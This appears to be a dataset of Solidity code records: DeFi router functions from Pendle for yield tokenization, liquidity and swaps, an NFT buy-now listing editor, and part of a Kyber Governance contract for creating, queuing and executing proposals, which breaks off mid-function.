_expiry, address _to ) external override pendleNonReentrant returns (uint256 redeemedAmount) { redeemedAmount = _redeemAfterExpiryInternal(_forgeId, _underlyingAsset, _expiry, _to); } /** * @notice an XYT holder can redeem his acrued interests anytime * @notice This function acts as a proxy to the actual function * @dev all validity checks are in the internal function **/ function redeemDueInterests( bytes32 _forgeId, address _underlyingAsset, uint256 _expiry ) external override pendleNonReentrant returns (uint256 interests) { interests = _redeemDueInterestsInternal(_forgeId, _underlyingAsset, _expiry); } /** * @notice redeem interests for multiple XYTs * @dev all validity checks are in the internal function **/ function redeemDueInterestsMultiple( bytes32[] calldata _forgeIds, address[] calldata _underlyingAssets, uint256[] calldata _expiries ) external override pendleNonReentrant returns (uint256[] memory interests) { require( _forgeIds.length == _underlyingAssets.length && _forgeIds.length == _expiries.length, "INVALID_ARRAYS" ); interests = new uint256[](_forgeIds.length); for (uint256 i = 0; i < _forgeIds.length; i++) { interests[i] = _redeemDueInterestsInternal( _forgeIds[i], _underlyingAssets[i], _expiries[i] ); } } /** * @notice Before the expiry, a user can redeem the same amount of OT+XYT to get back * the underlying yield token * @dev no check on _amountToRedeem **/ function redeemUnderlying( bytes32 _forgeId, address _underlyingAsset, uint256 _expiry, uint256 _amountToRedeem, address _to ) external override pendleNonReentrant returns (uint256 redeemedAmount) { require(data.isValidXYT(_forgeId, _underlyingAsset, _expiry), "INVALID_XYT"); require(block.timestamp < _expiry, "YIELD_CONTRACT_EXPIRED"); require(_to != address(0), "ZERO_ADDRESS"); IPendleForge forge = IPendleForge(data.getForgeAddress(_forgeId)); redeemedAmount = forge.redeemUnderlying( msg.sender, _underlyingAsset, _expiry, _amountToRedeem, _to ); } /** * @notice redeemAfterExpiry and tokenizeYield to a different expiry * @dev checks for all params except _newExpiry are in internal functions **/ function renewYield( bytes32 _forgeId, uint256 _oldExpiry, address _underlyingAsset, uint256 _newExpiry, uint256 _amountToTokenize, address _yieldTo ) external override pendleNonReentrant returns ( uint256 redeemedAmount, address ot, address xyt, uint256 amountTokenMinted ) { require(_newExpiry > _oldExpiry, "INVALID_NEW_EXPIRY"); redeemedAmount = _redeemAfterExpiryInternal( _forgeId, _underlyingAsset, _oldExpiry, msg.sender ); (ot, xyt, amountTokenMinted) = _tokenizeYieldInternal( _forgeId, _underlyingAsset, _newExpiry, _amountToTokenize, _yieldTo ); } /** * @notice tokenize a yield bearing token to get OT+XYT * @notice This function acts as a proxy to the actual function * @dev each forge is for a yield protocol (for example: Aave, Compound) * @dev all checks are in the internal function **/ function tokenizeYield( bytes32 _forgeId, address _underlyingAsset, uint256 _expiry, uint256 _amountToTokenize, address _to ) external override pendleNonReentrant returns ( address ot, address xyt, uint256 amountTokenMinted ) { (ot, xyt, amountTokenMinted) = _tokenizeYieldInternal( _forgeId, _underlyingAsset, _expiry, _amountToTokenize, _to ); } /*********** * MARKET * ***********/ /** * @notice market factories are identified by marketFactoryId * @dev A market factory can work with XYTs from one or more Forges, * to be determined by data.validForgeFactoryPair mapping **/ function addMarketFactory(bytes32 _marketFactoryId, address _marketFactoryAddress) external override initialized onlyGovernance pendleNonReentrant { require(_marketFactoryId != bytes32(0), "ZERO_BYTES"); require(_marketFactoryAddress != address(0), "ZERO_ADDRESS"); require( _marketFactoryId == IPendleMarketFactory(_marketFactoryAddress).marketFactoryId(), "INVALID_FACTORY_ID" ); require(data.getMarketFactoryAddress(_marketFactoryId) == address(0), "EXISTED_ID"); data.addMarketFactory(_marketFactoryId, _marketFactoryAddress); emit NewMarketFactory(_marketFactoryId, _marketFactoryAddress); } /** * @notice add market liquidity by xyt and base tokens * @dev no checks on _maxInXyt, _maxInToken, _exactOutLp */ function addMarketLiquidityAll( bytes32 _marketFactoryId, address _xyt, address _token, uint256 _maxInXyt, uint256 _maxInToken, uint256 _exactOutLp ) external payable override pendleNonReentrant { address originalToken = _token; _token = _isETH(_token) ? address(weth) : _token; IPendleMarket market = IPendleMarket(data.getMarket(_marketFactoryId, _xyt, _token)); require(address(market) != address(0), "MARKET_NOT_FOUND"); PendingTransfer[3] memory transfers = market.addMarketLiquidityAll(_exactOutLp, _maxInXyt, _maxInToken); emit Join(msg.sender, transfers[0].amount, transfers[1].amount, address(market)); _settlePendingTransfers(transfers, _xyt, originalToken, address(market)); } /** * @notice add market liquidity by xyt and base tokens * @dev no checks on _maxInXyt, _maxInToken, _exactOutLp */ function addMarketLiquidityDual( bytes32 _marketFactoryId, address _xyt, address _token, uint256 _desiredXytAmount, uint256 _desiredTokenAmount, uint256 _xytMinAmount, uint256 _tokenMinAmount ) public payable override pendleNonReentrant returns ( uint256 amountXytUsed, uint256 amountTokenUsed, uint256 lpOut ) { require(_desiredXytAmount != 0, "ZERO_XYT_AMOUNT"); require(_desiredTokenAmount != 0, "ZERO_TOKEN_AMOUNT"); address originalToken = _token; _token = _isETH(_token) ? address(weth) : _token; IPendleMarket market = IPendleMarket(data.getMarket(_marketFactoryId, _xyt, _token)); require(address(market) != address(0), "MARKET_NOT_FOUND"); PendingTransfer[3] memory transfers; (transfers, lpOut) = market.addMarketLiquidityDual( _desiredXytAmount, _desiredTokenAmount, _xytMinAmount, _tokenMinAmount ); amountXytUsed = transfers[0].amount; amountTokenUsed = transfers[1].amount; emit Join(msg.sender, transfers[0].amount, transfers[1].amount, address(market)); _settlePendingTransfers(transfers, _xyt, originalToken, address(market)); } /** * @notice add market liquidity by xyt or base token * @dev no checks on _exactInAsset, _minOutLp */ function addMarketLiquiditySingle( bytes32 _marketFactoryId, address _xyt, address _token, bool _forXyt, uint256 _exactInAsset, uint256 _minOutLp ) external payable override pendleNonReentrant { address originalToken = _token; _token = _isETH(_token) ? address(weth) : _token; IPendleMarket market = IPendleMarket(data.getMarket(_marketFactoryId, _xyt, _token)); require(address(market) != address(0), "MARKET_NOT_FOUND"); address assetToTransferIn = _forXyt ? _xyt : originalToken; address assetForMarket = _forXyt ? _xyt : _token; PendingTransfer[3] memory transfers = market.addMarketLiquiditySingle(assetForMarket, _exactInAsset, _minOutLp); _settlePendingTransfers(transfers, assetToTransferIn, DUMMY_ERC20, address(market)); if (_forXyt) { emit Join(msg.sender, _exactInAsset, 0, address(market)); } else { emit Join(msg.sender, 0, _exactInAsset, address(market)); } } /** * @notice remove market liquidity by xyt and base tokens * @dev no checks on _exactInLp, _minOutXyt, _minOutToken */ function removeMarketLiquidityAll( bytes32 _marketFactoryId, address _xyt, address _token, uint256 _exactInLp, uint256 _minOutXyt, uint256 _minOutToken ) external override pendleNonReentrant returns (uint256 exactOutXyt, uint256 exactOutToken) { address originalToken = _token; _token = _isETH(_token) ? address(weth) : _token; IPendleMarket market = IPendleMarket(data.getMarket(_marketFactoryId, _xyt, _token)); require(address(market) != address(0), "MARKET_NOT_FOUND"); // since there is burning of LPs involved, we need to transfer in LP first // otherwise the market might not have enough LPs to burn PendingTransfer memory lpTransfer = PendingTransfer({amount: _exactInLp, isOut: false}); _settleTokenTransfer(address(market), lpTransfer, address(market)); PendingTransfer[3] memory transfers = market.removeMarketLiquidityAll(_exactInLp, _minOutXyt, _minOutToken); _settlePendingTransfers(transfers, _xyt, originalToken, address(market)); emit Exit(msg.sender, transfers[0].amount, transfers[1].amount, address(market)); return (transfers[0].amount, transfers[1].amount); } /** * @notice remove market liquidity by xyt or base tokens * @dev no checks on _exactInLp, _minOutAsset */ function removeMarketLiquiditySingle( bytes32 _marketFactoryId, address _xyt, address _token, bool _forXyt, uint256 _exactInLp, uint256 _minOutAsset ) external override pendleNonReentrant returns (uint256 exactOutXyt, uint256 exactOutToken) { address originalToken = _token; _token = _isETH(_token) ? address(weth) : _token; IPendleMarket market = IPendleMarket(data.getMarket(_marketFactoryId, _xyt, _token)); require(address(market) != address(0), "MARKET_NOT_FOUND"); /* _transferIn(address(market), _exactInLp); */ address assetForMarket = _forXyt ? _xyt : _token; // since there is burning of LPs involved, we need to transfer in LP first // otherwise the market might not have enough LPs to burn PendingTransfer memory lpTransfer = PendingTransfer({amount: _exactInLp, isOut: false}); _settleTokenTransfer(address(market), lpTransfer, address(market)); PendingTransfer[3] memory transfers = market.removeMarketLiquiditySingle(assetForMarket, _exactInLp, _minOutAsset); address assetToTransferOut = _forXyt ? _xyt : originalToken; _settleTokenTransfer(assetToTransferOut, transfers[0], address(market)); if (_forXyt) { emit Exit(msg.sender, transfers[0].amount, 0, address(market)); return (transfers[0].amount, 0); } else { emit Exit(msg.sender, 0, transfers[0].amount, address(market)); return (0, transfers[0].amount); } } /** * @notice create a new market for a pair of xyt & token */ function createMarket( bytes32 _marketFactoryId, address _xyt, address _token ) external override pendleNonReentrant returns (address market) { require(_xyt != address(0), "ZERO_ADDRESS"); require(_token != address(0), "ZERO_ADDRESS"); require(data.isXyt(_xyt), "INVALID_XYT"); require(!data.isXyt(_token), "XYT_QUOTE_PAIR_FORBIDDEN"); require(data.getMarket(_marketFactoryId, _xyt, _token) == address(0), "EXISTED_MARKET"); IPendleMarketFactory factory = IPendleMarketFactory(data.getMarketFactoryAddress(_marketFactoryId)); require(address(factory) != address(0), "ZERO_ADDRESS"); bytes32 forgeId = IPendleForge(IPendleYieldToken(_xyt).forge()).forgeId(); require(data.validForgeFactoryPair(forgeId, _marketFactoryId), "INVALID_FORGE_FACTORY"); market = factory.createMarket(_xyt, _token); IERC20(_xyt).safeApprove(market, type(uint256).max); IERC20(_token).safeApprove(market, type(uint256).max); IERC20(market).safeApprove(market, type(uint256).max); } /** * @notice bootstrap a market (aka the first one to add liquidity) * @dev Users can either set _token as ETH or WETH to trade with XYT-WETH markets * If they put in ETH, they must send ETH along and _token will be auto wrapped to WETH * If they put in WETH, the function will run the same as other tokens */ function bootstrapMarket( bytes32 _marketFactoryId, address _xyt, address _token, uint256 _initialXytLiquidity, uint256 _initialTokenLiquidity ) external payable override pendleNonReentrant { require(_initialXytLiquidity > 0, "INVALID_XYT_AMOUNT"); require(_initialTokenLiquidity > 0, "INVALID_TOKEN_AMOUNT"); address originalToken = _token; _token = _isETH(_token) ? address(weth) : _token; IPendleMarket market = IPendleMarket(data.getMarket(_marketFactoryId, _xyt, _token)); require(address(market) != address(0), "MARKET_NOT_FOUND"); PendingTransfer[3] memory transfers = market.bootstrap(_initialXytLiquidity, _initialTokenLiquidity); emit Join(msg.sender, _initialXytLiquidity, _initialTokenLiquidity, address(market)); _settlePendingTransfers(transfers, _xyt, originalToken, address(market)); } /** * @notice trade by swap exact amount of token into market * @dev no checks on _inTotalAmount, _minOutTotalAmount, _maxPrice */ function swapExactIn( address _tokenIn, address _tokenOut, uint256 _inTotalAmount, uint256 _minOutTotalAmount, uint256 _maxPrice, bytes32 _marketFactoryId ) external payable override pendleNonReentrant returns (uint256 outSwapAmount) { address originalTokenIn = _tokenIn; address originalTokenOut = _tokenOut; _tokenIn = _isETH(_tokenIn) ? address(weth) : _tokenIn; _tokenOut = _isETH(_tokenOut) ? address(weth) : _tokenOut; IPendleMarket market = IPendleMarket(data.getMarketFromKey(_tokenIn, _tokenOut, _marketFactoryId)); require(address(market) != address(0), "MARKET_NOT_FOUND"); PendingTransfer[3] memory transfers; (outSwapAmount, , transfers) = market.swapExactIn( _tokenIn, _inTotalAmount, _tokenOut, _minOutTotalAmount, _maxPrice ); _settlePendingTransfers(transfers, originalTokenIn, originalTokenOut, address(market)); emit SwapEvent( msg.sender, _tokenIn, _tokenOut, _inTotalAmount, outSwapAmount, address(market) ); } /** * @notice trade by swap exact amount of token out of market * @dev no checks on _outTotalAmount, _maxInTotalAmount, _maxPrice */ function swapExactOut( address _tokenIn, address _tokenOut, uint256 _outTotalAmount, uint256 _maxInTotalAmount, uint256 _maxPrice, bytes32 _marketFactoryId ) external payable override pendleNonReentrant returns (uint256 inSwapAmount) { address originalTokenIn = _tokenIn; address originalTokenOut = _tokenOut; _tokenIn = _isETH(_tokenIn) ? address(weth) : _tokenIn; _tokenOut = _isETH(_tokenOut) ? address(weth) : _tokenOut; IPendleMarket market = IPendleMarket(data.getMarketFromKey(_tokenIn, _tokenOut, _marketFactoryId)); require(address(market) != address(0), "MARKET_NOT_FOUND"); PendingTransfer[3] memory transfers; (inSwapAmount, , transfers) = market.swapExactOut( _tokenIn, _maxInTotalAmount, _tokenOut, _outTotalAmount, _maxPrice ); _settlePendingTransfers(transfers, originalTokenIn, originalTokenOut, address(market)); emit SwapEvent( msg.sender, _tokenIn, _tokenOut, inSwapAmount, _outTotalAmount, address(market) ); } /** * @dev Needed for multi-path off-chain routing * @dev _swapPath = [swapRoute1, swapRoute2] where swapRoute1 = [Swap1, swap2..] is a series of * swaps to convert from _tokenIn to _tokenOut * @dev _tokenIn and _tokenOut can be ETH_ADDRESS, which means we will use ETH to trade * @dev however, any tokens in between the swap route must be a real ERC20 address (so it should be WETH if ETH is involved) */ function swapPathExactIn( Swap[][] memory _swapPath, address _tokenIn, address _tokenOut, uint256 _inTotalAmount, uint256 _minOutTotalAmount ) external payable override pendleNonReentrant returns (uint256 outTotalAmount) { uint256 sumInAmount; for (uint256 i = 0; i < _swapPath.length; i++) { uint256 swapRouteLength = _swapPath[i].length; require( _swapPath[i][0].tokenIn == _tokenIn && _swapPath[i][swapRouteLength - 1].tokenOut == _tokenOut, "INVALID_PATH" ); sumInAmount = sumInAmount.add(_swapPath[i][0].swapAmount); uint256 tokenAmountOut; for (uint256 j = 0; j < _swapPath[i].length; j++) { Swap memory swap = _swapPath[i][j]; swap.tokenIn = _getMarketToken(swap.tokenIn); // make it weth if its eth swap.tokenOut = _getMarketToken(swap.tokenOut); // make it weth if its eth if (j >= 1) { swap.swapAmount = tokenAmountOut; // if its not the first swap, then we need to send the output of the last swap // to the current market as input for the current swap IERC20(swap.tokenIn).safeTransferFrom( _swapPath[i][j - 1].market, swap.market, swap.swapAmount ); } IPendleMarket market = IPendleMarket(swap.market); _checkMarketTokens(swap.tokenIn, swap.tokenOut, market); (tokenAmountOut, , ) = market.swapExactIn( swap.tokenIn, swap.swapAmount, swap.tokenOut, swap.limitReturnAmount, swap.maxPrice ); } // sends in the exactAmount into the market of the first swap _settleTokenTransfer( _tokenIn, PendingTransfer({amount: _swapPath[i][0].swapAmount, isOut: false}), _swapPath[i][0].market ); // gets the tokenOut from the market of the last swap _settleTokenTransfer( _tokenOut, PendingTransfer({amount: tokenAmountOut, isOut: true}), _swapPath[i][swapRouteLength - 1].market ); outTotalAmount = tokenAmountOut.add(outTotalAmount); } require(sumInAmount == _inTotalAmount, "INVALID_AMOUNTS"); require(outTotalAmount >= _minOutTotalAmount, "LIMIT_OUT_ERROR"); } /** * @dev Needed for multi-path off-chain routing * @dev Similarly to swapPathExactIn, but we do the swaps in reverse */ function swapPathExactOut( Swap[][] memory _swapPath, address _tokenIn, address _tokenOut, uint256 _maxInTotalAmount ) external payable override pendleNonReentrant returns (uint256 inTotalAmount) { for (uint256 i = 0; i < _swapPath.length; i++) { uint256 swapRouteLength = _swapPath[i].length; require( _swapPath[i][0].tokenIn == _tokenIn && _swapPath[i][swapRouteLength - 1].tokenOut == _tokenOut, "INVALID_PATH" ); uint256 tokenAmountIn; for (uint256 j = _swapPath[i].length - 1; j >= 0; j--) { Swap memory swap = _swapPath[i][j]; swap.tokenIn = _getMarketToken(swap.tokenIn); // make it weth if its eth swap.tokenOut = _getMarketToken(swap.tokenOut); // make it weth if its eth if (j < _swapPath[i].length - 1) { swap.swapAmount = tokenAmountIn; IERC20(swap.tokenOut).safeTransferFrom( swap.market, _swapPath[i][j + 1].market, swap.swapAmount ); } IPendleMarket market = IPendleMarket(swap.market); _checkMarketTokens(swap.tokenIn, swap.tokenOut, market); (tokenAmountIn, , ) = market.swapExactOut( swap.tokenIn, swap.limitReturnAmount, swap.tokenOut, swap.swapAmount, swap.maxPrice ); if (j == 0) break; } _settleTokenTransfer( _tokenIn, PendingTransfer({amount: tokenAmountIn, isOut: false}), _swapPath[i][0].market ); // send out _tokenOut last _settleTokenTransfer( _tokenOut, PendingTransfer({ amount: _swapPath[i][swapRouteLength - 1].swapAmount, isOut: true }), _swapPath[i][swapRouteLength - 1].market ); inTotalAmount = tokenAmountIn.add(inTotalAmount); } require(inTotalAmount <= _maxInTotalAmount, "LIMIT_IN_ERROR"); } /** * @notice Lp holders are entitled to receive the interests from the underlying XYTs * they can call this function to claim the acrued interests */ function claimLpInterests(address[] calldata markets) external override pendleNonReentrant returns (uint256[] memory interests) { interests = new uint256[](markets.length); for (uint256 i = 0; i < markets.length; i++) { require(data.isMarket(markets[i]), "INVALID_MARKET"); interests[i] = IPendleMarket(markets[i]).claimLpInterests(msg.sender); } } function _getData() internal view override returns (IPendleData) { return data; } function _isETH(address token) internal pure returns (bool) { return (token == ETH_ADDRESS); } function _redeemDueInterestsInternal( bytes32 _forgeId, address _underlyingAsset, uint256 _expiry ) internal returns (uint256 interests) { require(data.isValidXYT(_forgeId, _underlyingAsset, _expiry), "INVALID_XYT"); IPendleForge forge = IPendleForge(data.getForgeAddress(_forgeId)); interests = forge.redeemDueInterests(msg.sender, _underlyingAsset, _expiry); } function _redeemAfterExpiryInternal( bytes32 _forgeId, address _underlyingAsset, uint256 _expiry, address _to ) internal returns (uint256 redeemedAmount) { require(data.isValidXYT(_forgeId, _underlyingAsset, _expiry), "INVALID_XYT"); require(_to != address(0), "ZERO_ADDRESS"); require(_expiry < block.timestamp, "MUST_BE_AFTER_EXPIRY"); IPendleForge forge = IPendleForge(data.getForgeAddress(_forgeId)); redeemedAmount = forge.redeemAfterExpiry(msg.sender, _underlyingAsset, _expiry, _to); } /** * @dev no check on _amountToTokenize */ function _tokenizeYieldInternal( bytes32 _forgeId, address _underlyingAsset, uint256 _expiry, uint256 _amountToTokenize, address _to ) internal returns ( address ot, address xyt, uint256 amountTokenMinted ) { require(data.isValidXYT(_forgeId, _underlyingAsset, _expiry), "INVALID_XYT"); require(_to != address(0), "ZERO_ADDRESS"); IPendleForge forge = IPendleForge(data.getForgeAddress(_forgeId)); IERC20 underlyingToken = IERC20(forge.getYieldBearingToken(_underlyingAsset)); underlyingToken.transferFrom(msg.sender, address(forge), _amountToTokenize); // Due to possible precision error, we will only mint the amount of OT & XYT equals // to the amount of tokens that the contract receives (ot, xyt, amountTokenMinted) = forge.tokenizeYield( _underlyingAsset, _expiry, _amountToTokenize, _to ); } /** * @notice This function takes in the standard array PendingTransfer[3] that represents * any pending transfers of tokens to be done between a market and msg.sender * @dev transfers[0] and transfers[1] always represent the tokens that are traded * while transfers[2] always represent LP transfers * The convention is that: * - if its a function with xyt and baseToken, transfers[0] is always xyt * - if its a function with tokenIn and tokenOut, transfers[0] is always tokenOut * */ function _settlePendingTransfers( PendingTransfer[3] memory transfers, address firstToken, address secondToken, address market ) internal { _settleTokenTransfer(firstToken, transfers[0], market); _settleTokenTransfer(secondToken, transfers[1], market); _settleTokenTransfer(market, transfers[2], market); } /** * @notice This function settles a PendingTransfer, where the token could be ETH_ADDRESS * a PendingTransfer is always between a market and msg.sender */ function _settleTokenTransfer( address token, PendingTransfer memory transfer, address market ) internal { if (transfer.amount == 0) { return; } if (transfer.isOut) { if (_isETH(token)) { weth.transferFrom(market, address(this), transfer.amount); weth.withdraw(transfer.amount); (bool success, ) = msg.sender.call{value: transfer.amount}(""); require(success, "TRANSFER_FAILED"); } else { IERC20(token).safeTransferFrom(market, msg.sender, transfer.amount); } } else { if (_isETH(token)) { require(msg.value == transfer.amount, "ETH_SENT_MISMATCH"); weth.deposit{value: msg.value}(); weth.transfer(market, transfer.amount); } else { IERC20(token).safeTransferFrom(msg.sender, market, transfer.amount); } } } function _checkMarketTokens( address token1, address token2, IPendleMarket market ) internal view { require(data.isMarket(address(market)), "INVALID_MARKET"); require( data.getMarketFromKey(token1, token2, market.factoryId()) == address(market), "INVALID_MARKET" ); } /** * @notice This function turns ETH_ADDRESS into WETH address if applicable * it is called "marketToken" because its the token address used in the markets */ function _getMarketToken(address token) internal view returns (address) { if (_isETH(token)) return address(weth); return token; } }
bootstrap a market (aka the first one to add liquidity) Users can either set _token as ETH or WETH to trade with XYT-WETH markets If they put in ETH, they must send ETH along and _token will be auto wrapped to WETH If they put in WETH, the function will run the same as other tokens/
function bootstrapMarket( bytes32 _marketFactoryId, address _xyt, address _token, uint256 _initialXytLiquidity, uint256 _initialTokenLiquidity ) external payable override pendleNonReentrant { require(_initialXytLiquidity > 0, "INVALID_XYT_AMOUNT"); require(_initialTokenLiquidity > 0, "INVALID_TOKEN_AMOUNT"); address originalToken = _token; _token = _isETH(_token) ? address(weth) : _token; IPendleMarket market = IPendleMarket(data.getMarket(_marketFactoryId, _xyt, _token)); require(address(market) != address(0), "MARKET_NOT_FOUND"); PendingTransfer[3] memory transfers = market.bootstrap(_initialXytLiquidity, _initialTokenLiquidity); emit Join(msg.sender, _initialXytLiquidity, _initialTokenLiquidity, address(market)); _settlePendingTransfers(transfers, _xyt, originalToken, address(market)); }
12,866,243
./full_match/1/0x69d8f2cb6Aa9E274864574a4e9F22e22DbE3b9A5/sources/contracts/mixins/BuyNowSellingAgreementProvider.sol
see {IExchangeArtNFTMarketBuyNow-editBuyNowSellingAgreement}
function editBuyNowSellingAgreement( address nftContractAddress, uint256 tokenId, uint256 newPrice ) external override nonReentrant { BuyNowSellingAgreement memory sellingAgreement = s_buyNowSellingAgreements[ nftContractAddress ][tokenId]; sellingAgreement.mustExist(); sellingAgreement.mustBeOwnedBy(msg.sender); newPrice.mustBeValidAmount(); s_buyNowSellingAgreements[nftContractAddress][tokenId].price = newPrice; emit BuyNowSellingAgreementEdited( nftContractAddress, tokenId, msg.sender, newPrice, sellingAgreement.id ); }
4,890,567
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from '@openzeppelin/contracts/math/SafeMath.sol'; import {PermissionAdmin} from '@kyber.network/utils-sc/contracts/PermissionAdmin.sol'; import {IKyberGovernance} from '../interfaces/governance/IKyberGovernance.sol'; import {IExecutorWithTimelock} from '../interfaces/governance/IExecutorWithTimelock.sol'; import {IVotingPowerStrategy} from '../interfaces/governance/IVotingPowerStrategy.sol'; import {IProposalValidator} from '../interfaces/governance/IProposalValidator.sol'; import {getChainId} from '../misc/Helpers.sol'; /** * @title Kyber Governance contract for Kyber 3.0 * - Create a Proposal * - Cancel a Proposal * - Queue a Proposal * - Execute a Proposal * - Submit Vote to a Proposal * Proposal States : Pending => Active => Succeeded(/Failed/Finalized) * => Queued => Executed(/Expired) * The transition to "Canceled" can appear in multiple states **/ contract KyberGovernance is IKyberGovernance, PermissionAdmin { using SafeMath for uint256; bytes32 public constant DOMAIN_TYPEHASH = keccak256( 'EIP712Domain(string name,uint256 chainId,address verifyingContract)' ); bytes32 public constant VOTE_EMITTED_TYPEHASH = keccak256( 'VoteEmitted(uint256 id,uint256 optionBitMask)' ); string public constant NAME = 'Kyber Governance'; address private _daoOperator; uint256 private _proposalsCount; mapping(uint256 => Proposal) private _proposals; mapping(address => bool) private _authorizedExecutors; mapping(address => bool) private _authorizedVotingPowerStrategies; constructor( address admin, address daoOperator, address[] memory executors, address[] memory votingPowerStrategies ) PermissionAdmin(admin) { require(daoOperator != address(0), 'invalid dao operator'); _daoOperator = daoOperator; _authorizeExecutors(executors); _authorizeVotingPowerStrategies(votingPowerStrategies); } /** * @dev Creates a Binary Proposal (needs to be validated by the Proposal Validator) * @param executor The ExecutorWithTimelock contract that will execute the proposal * @param strategy voting power strategy of the proposal * @param executionParams data for execution, includes * targets list of contracts called by proposal's associated transactions * weiValues list of value in wei for each proposal's associated transaction * signatures list of function signatures (can be empty) to be used when created the callData * calldatas list of calldatas: if associated signature empty, * calldata ready, else calldata is arguments * withDelegatecalls boolean, true = transaction delegatecalls the taget, * else calls the target * @param startTime start timestamp to allow vote * @param endTime end timestamp of the proposal * @param link link to the proposal description **/ function createBinaryProposal( IExecutorWithTimelock executor, IVotingPowerStrategy strategy, BinaryProposalParams memory executionParams, uint256 startTime, uint256 endTime, string memory link ) external override returns (uint256 proposalId) { require(executionParams.targets.length != 0, 'create binary invalid empty targets'); require( executionParams.targets.length == executionParams.weiValues.length && executionParams.targets.length == executionParams.signatures.length && executionParams.targets.length == executionParams.calldatas.length && executionParams.targets.length == executionParams.withDelegatecalls.length, 'create binary inconsistent params length' ); require(isExecutorAuthorized(address(executor)), 'create binary executor not authorized'); require( isVotingPowerStrategyAuthorized(address(strategy)), 'create binary strategy not authorized' ); proposalId = _proposalsCount; require( IProposalValidator(address(executor)).validateBinaryProposalCreation( strategy, msg.sender, startTime, endTime, _daoOperator ), 'validate proposal creation invalid' ); ProposalWithoutVote storage newProposalData = _proposals[proposalId].proposalData; newProposalData.id = proposalId; newProposalData.proposalType = ProposalType.Binary; newProposalData.creator = msg.sender; newProposalData.executor = executor; newProposalData.targets = executionParams.targets; newProposalData.weiValues = executionParams.weiValues; newProposalData.signatures = executionParams.signatures; newProposalData.calldatas = executionParams.calldatas; newProposalData.withDelegatecalls = executionParams.withDelegatecalls; newProposalData.startTime = startTime; newProposalData.endTime = endTime; newProposalData.strategy = strategy; newProposalData.link = link; // only 2 options, YES and NO newProposalData.options.push('YES'); newProposalData.options.push('NO'); newProposalData.voteCounts.push(0); newProposalData.voteCounts.push(0); // use max voting power to finalise the proposal newProposalData.maxVotingPower = strategy.getMaxVotingPower(); _proposalsCount++; // call strategy to record data if needed strategy.handleProposalCreation(proposalId, startTime, endTime); emit BinaryProposalCreated( proposalId, msg.sender, executor, strategy, executionParams.targets, executionParams.weiValues, executionParams.signatures, executionParams.calldatas, executionParams.withDelegatecalls, startTime, endTime, link, newProposalData.maxVotingPower ); } /** * @dev Creates a Generic Proposal (needs to be validated by the Proposal Validator) * It only gets the winning option without any executions * @param executor The ExecutorWithTimelock contract that will execute the proposal * @param strategy voting power strategy of the proposal * @param options list of options to vote for * @param startTime start timestamp to allow vote * @param endTime end timestamp of the proposal * @param link link to the proposal description **/ function createGenericProposal( IExecutorWithTimelock executor, IVotingPowerStrategy strategy, string[] memory options, uint256 startTime, uint256 endTime, string memory link ) external override returns (uint256 proposalId) { require( isExecutorAuthorized(address(executor)), 'create generic executor not authorized' ); require( isVotingPowerStrategyAuthorized(address(strategy)), 'create generic strategy not authorized' ); proposalId = _proposalsCount; require( IProposalValidator(address(executor)).validateGenericProposalCreation( strategy, msg.sender, startTime, endTime, options, _daoOperator ), 'validate proposal creation invalid' ); Proposal storage newProposal = _proposals[proposalId]; ProposalWithoutVote storage newProposalData = newProposal.proposalData; newProposalData.id = proposalId; newProposalData.proposalType = ProposalType.Generic; newProposalData.creator = msg.sender; newProposalData.executor = executor; newProposalData.startTime = startTime; newProposalData.endTime = endTime; newProposalData.strategy = strategy; newProposalData.link = link; newProposalData.options = options; newProposalData.voteCounts = new uint256[](options.length); // use max voting power to finalise the proposal newProposalData.maxVotingPower = strategy.getMaxVotingPower(); _proposalsCount++; // call strategy to record data if needed strategy.handleProposalCreation(proposalId, startTime, endTime); emit GenericProposalCreated( proposalId, msg.sender, executor, strategy, options, startTime, endTime, link, newProposalData.maxVotingPower ); } /** * @dev Cancels a Proposal. * - Callable by the _daoOperator with relaxed conditions, * or by anybody if the conditions of cancellation on the executor are fulfilled * @param proposalId id of the proposal **/ function cancel(uint256 proposalId) external override { require(proposalId < _proposalsCount, 'invalid proposal id'); ProposalState state = getProposalState(proposalId); require( state != ProposalState.Executed && state != ProposalState.Canceled && state != ProposalState.Expired && state != ProposalState.Finalized, 'invalid state to cancel' ); ProposalWithoutVote storage proposal = _proposals[proposalId].proposalData; require( msg.sender == _daoOperator || IProposalValidator(address(proposal.executor)).validateProposalCancellation( IKyberGovernance(this), proposalId, proposal.creator ), 'validate proposal cancellation failed' ); proposal.canceled = true; if (proposal.proposalType == ProposalType.Binary) { for (uint256 i = 0; i < proposal.targets.length; i++) { proposal.executor.cancelTransaction( proposal.targets[i], proposal.weiValues[i], proposal.signatures[i], proposal.calldatas[i], proposal.executionTime, proposal.withDelegatecalls[i] ); } } // notify voting power strategy about the cancellation proposal.strategy.handleProposalCancellation(proposalId); emit ProposalCanceled(proposalId); } /** * @dev Queue the proposal (If Proposal Succeeded), only for Binary proposals * @param proposalId id of the proposal to queue **/ function queue(uint256 proposalId) external override { require(proposalId < _proposalsCount, 'invalid proposal id'); require( getProposalState(proposalId) == ProposalState.Succeeded, 'invalid state to queue' ); ProposalWithoutVote storage proposal = _proposals[proposalId].proposalData; // generic proposal does not have Succeeded state assert(proposal.proposalType == ProposalType.Binary); uint256 executionTime = block.timestamp.add(proposal.executor.getDelay()); for (uint256 i = 0; i < proposal.targets.length; i++) { _queueOrRevert( proposal.executor, proposal.targets[i], proposal.weiValues[i], proposal.signatures[i], proposal.calldatas[i], executionTime, proposal.withDelegatecalls[i] ); } proposal.executionTime = executionTime; emit ProposalQueued(proposalId, executionTime, msg.sender); } /** * @dev Execute the proposal (If Proposal Queued), only for Binary proposals * @param proposalId id of the proposal to execute **/ function execute(uint256 proposalId) external override payable { require(proposalId < _proposalsCount, 'invalid proposal id'); require(getProposalState(proposalId) == ProposalState.Queued, 'only queued proposals'); ProposalWithoutVote storage proposal = _proposals[proposalId].proposalData; // generic proposal does not have Queued state assert(proposal.proposalType == ProposalType.Binary); proposal.executed = true; for (uint256 i = 0; i < proposal.targets.length; i++) { proposal.executor.executeTransaction{value: proposal.weiValues[i]}( proposal.targets[i], proposal.weiValues[i], proposal.signatures[i], proposal.calldatas[i], proposal.executionTime, proposal.withDelegatecalls[i] ); } emit ProposalExecuted(proposalId, msg.sender); } /** * @dev Function allowing msg.sender to vote for/against a proposal * @param proposalId id of the proposal * @param optionBitMask bitmask optionBitMask of voter * for Binary Proposal, optionBitMask should be either 1 or 2 (Accept/Reject) * for Generic Proposal, optionBitMask is the bitmask of voted options **/ function submitVote(uint256 